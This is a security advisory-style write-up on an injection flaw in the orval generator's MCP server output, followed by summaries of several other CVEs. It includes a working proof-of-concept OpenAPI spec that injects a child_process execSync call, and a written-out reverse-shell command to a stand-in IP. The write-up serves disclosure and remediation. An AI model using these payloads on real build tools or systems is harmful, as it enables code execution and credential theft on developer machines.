Feb 20, 2026·5 min read·122 visits
Orval blindly interpolates OpenAPI 'summary' fields into generated TypeScript code. Attackers can inject a malicious payload into the spec, which Orval then writes into the source code. When developers run or import this code, the payload executes. Fixed in 7.18.0.
A Critical Remote Code Execution (RCE) vulnerability exists in the 'orval' library (versions < 7.18.0) within its Model Context Protocol (MCP) server generation logic. By crafting a malicious OpenAPI specification, an attacker can inject arbitrary JavaScript code into the resulting TypeScript files generated by the tool. This turns a standard development utility into a Trojan horse, executing malicious commands on developer machines and CI/CD pipelines immediately upon file import or execution.
In the modern development stack, we treat 'Infrastructure as Code' and 'Docs as Code' as gospel. Tools like orval are the high priests of this religion, taking your OpenAPI specifications and miraculously transmuting them into type-safe TypeScript clients and servers. It is automation at its finest. But here is the dark joke of automation: if you blindly trust the input, your automation becomes a weapon.
CVE-2026-22785 is not a runtime vulnerability in the traditional sense. It doesn't exist in a listening service you expose to the internet. It exists in the build tool itself. This is a vulnerability in the compiler, so to speak. The specific component at fault here is the generator for the Model Context Protocol (MCP) server.
Why is this juicy? Because this code runs on developer laptops with read/write access to source code, SSH keys, and cloud credentials. It runs in CI/CD pipelines with secrets injected into the environment. If I can trick your generator into writing my code into your project, I don't need to bypass your firewall. You just invited me in, compiled me, and ran me with sudo privileges.
The root cause of this vulnerability is a tale as old as time: trusting user input. Specifically, the developers at Orval Labs committed the cardinal sin of code generation—constructing code by concatenating strings without sanitization.
When orval generates an MCP server, it iterates through the operations defined in your OpenAPI spec (Swagger). It looks for fields like operationId and summary to create nice, descriptive tool definitions. Ideally, a generator should treat these text fields as data, escaping them to ensure they remain string literals in the final output.
Instead, the vulnerable code took the summary field and dropped it raw into a TypeScript template string. It assumed the summary would be harmless text like "Get user details". But what if the summary contains a single quote? Or a closing parenthesis? Or a semicolon? The generator didn't ask these questions. It just pasted the text, unknowingly allowing an attacker to 'break out' of the string literal syntax and inject executable JavaScript logic directly into the AST of the generated file.
Let's look at the crime scene. The vulnerability lived in packages/mcp/src/index.ts. Below is a simplified view of how the sausage was made (badly).
The Vulnerable Logic:
The code constructs a call to server.tool(). Notice how verbOption.summary is interpolated directly inside single quotes.
// packages/mcp/src/index.ts (Vulnerable)
const toolImplementation = `
server.tool(
'${verbOption.operationName}',
'${verbOption.summary}', // <--- DIRECT INJECTION HERE
${verbOption.operationName}Handler
);`;If verbOption.summary is My Summary, the output is valid: 'My Summary'.
However, if I change the summary to ' + process.exit(1) + ', the output becomes:
server.tool(
'opName',
'' + process.exit(1) + '',
handler
);The Fix:
The fix provided in version 7.18.0 is straightforward. They introduced a utility called jsStringEscape to sanitize the input before interpolation.
// packages/mcp/src/index.ts (Patched)
const toolImplementation = `
server.tool(
'${jsStringEscape(verbOption.operationName)}',
'${jsStringEscape(verbOption.summary)}', // <--- SANITIZED
${jsStringEscape(verbOption.operationName)}Handler
);`;This forces any special characters (like single quotes) to be escaped, ensuring the summary remains a harmless string literal.
To exploit this, we don't need a complex buffer overflow or heap spray. We just need to know basic JavaScript syntax. We are looking for a payload that closes the initial string context, executes our arbitrary command, and then cleans up the syntax so the generated file is still valid TypeScript (otherwise the build might fail with a syntax error, alerting the developer).
Step 1: The Malicious Spec
We create a YAML file mimicking a standard API definition, but we poison the summary field.
openapi: 3.0.0
info:
title: Trojan API
version: 1.0.0
paths:
/pwned:
get:
operationId: getPwned
# The payload breaks out of the single quote, executes code,
# and comments out the trailing quote generated by Orval.
summary: "' + require('child_process').execSync('calc') + '//"
responses:
'200':
description: OKStep 2: The Generation
The victim runs orval --input ./malicious-spec.yaml. The tool runs without errors.
Step 3: The Resulting File
Orval generates server.ts. Look at the horror:
server.tool(
'getPwned',
'API.' + require('child_process').execSync('calc') + '//',
getPwnedHandler
);Step 4: Execution
The moment this file is imported or run (node server.ts), Node.js evaluates the expression. execSync('calc') runs immediately. On a headless server, this would be a reverse shell: require('child_process').execSync('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1').
This vulnerability bypasses the traditional perimeter. Security teams spend millions on WAFs, EDRs, and container hardening for production environments. But this exploit hits the soft underbelly: the build chain.
This is a 9.3 Critical because it requires zero authentication and provides full execution capabilities in a trusted context.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
orval orval-labs | < 7.18.0 | 7.18.0 |
| Attribute | Detail |
|---|---|
| CWE | CWE-77 (Command Injection) |
| CVSS v4.0 | 9.3 (Critical) |
| Attack Vector | Network (Malicious Spec File) |
| Privileges Required | None |
| Impact | Remote Code Execution (RCE) |
| Status | Patched / PoC Public |
Improper Neutralization of Special Elements used in a Command ('Command Injection')
A local elevation of privilege vulnerability exists in the Microsoft .NET Aspire CLI (`Aspire.Cli`) versions 13.5.4 prior to 13.6.5. When executing SDK management commands (`aspire sdk generate`, `aspire sdk dump`, and `aspire sdk export`), the CLI creates temporary project directories inside the shared operating system temporary folder (such as `/tmp` on Unix-like systems) without restricting directory permissions or disabling MSBuild automatic response file resolution. A local, low-privileged attacker on a multi-user system can place a crafted `Directory.Build.rsp` file in the shared temporary directory hierarchy. When a victim user executes an affected Aspire CLI command, MSBuild traverses upward, ingests the attacker-controlled response file, and executes arbitrary commands in the security context of the victim user.
CVE-2026-120792 is a high-severity local information disclosure vulnerability in the Microsoft .NET Aspire CLI (Aspire.Cli) affecting versions 13.5.4 prior to 13.6.5. The flaw stems from the insertion of sensitive information into a shared temporary log file (CWE-532) combined with insecure temporary file creation (CWE-377) within the DeprecatedMcpCommandScanner component. During agent configuration scanning, the CLI unconditionally appends internal workspace paths and the first 200 characters of Model Context Protocol (MCP) agent configuration files to a statically named file in the system temporary directory. On multi-user systems, unprivileged local users can read this file to harvest API keys, authentication tokens, and internal service endpoints.
CVE-2026-114159 is a heap-based buffer overflow vulnerability (CWE-122) in Microsoft.DiaSymReader.Native affecting Microsoft Visual Studio and the .NET Runtime on Windows. An integer truncation error during the parsing of oversized document names in Portable PDB symbol files causes an undersized heap allocation, leading to an out-of-bounds memory write and remote code execution.
CVE-2026-114158 is a high-severity remote code execution vulnerability affecting Microsoft Visual Studio 2026 and multiple supported servicing branches of Microsoft .NET (.NET 8.0, 9.0, 10.0, and 11.0) on Windows. The flaw resides in the native symbol reader library, Microsoft.DiaSymReader.Native, and is triggered when parsing Portable Program Database (PDB) metadata containing malformed EmbeddedSource custom debug information records. By supplying a parent Record Identifier (RID) of zero or an out-of-bounds value, an attacker causes an integer underflow during 1-based to 0-based index conversion, leading to a heap-based buffer overflow and arbitrary code execution within the context of the host developer tool or runtime.
CVE-2026-114151 is a high-severity remote code execution vulnerability affecting Microsoft Visual Studio 2026 and multiple supported versions of the Microsoft .NET runtime on Windows. The flaw resides in the native Debug Information Access (DIA) symbol reader component, Microsoft.DiaSymReader.Native. When parsing Program Database (.pdb) files, the component fails to validate the length of serialized numeric records (specifically LF_DECIMAL structures) before unpacking them into a fixed-size stack buffer. An attacker who convinces a user or automated diagnostic process to load a crafted .pdb file can trigger a stack-based buffer overflow, resulting in arbitrary code execution within the context of the host process.
CVE-2026-105544 is a high-severity local elevation of privilege vulnerability in Microsoft .NET and Microsoft.TestPlatform.CLI. Improper access control on local inter-process communication mechanisms and execution brokers allows an authorized local attacker to cross security boundaries and execute arbitrary code in the context of a higher-privileged user running a test execution cycle.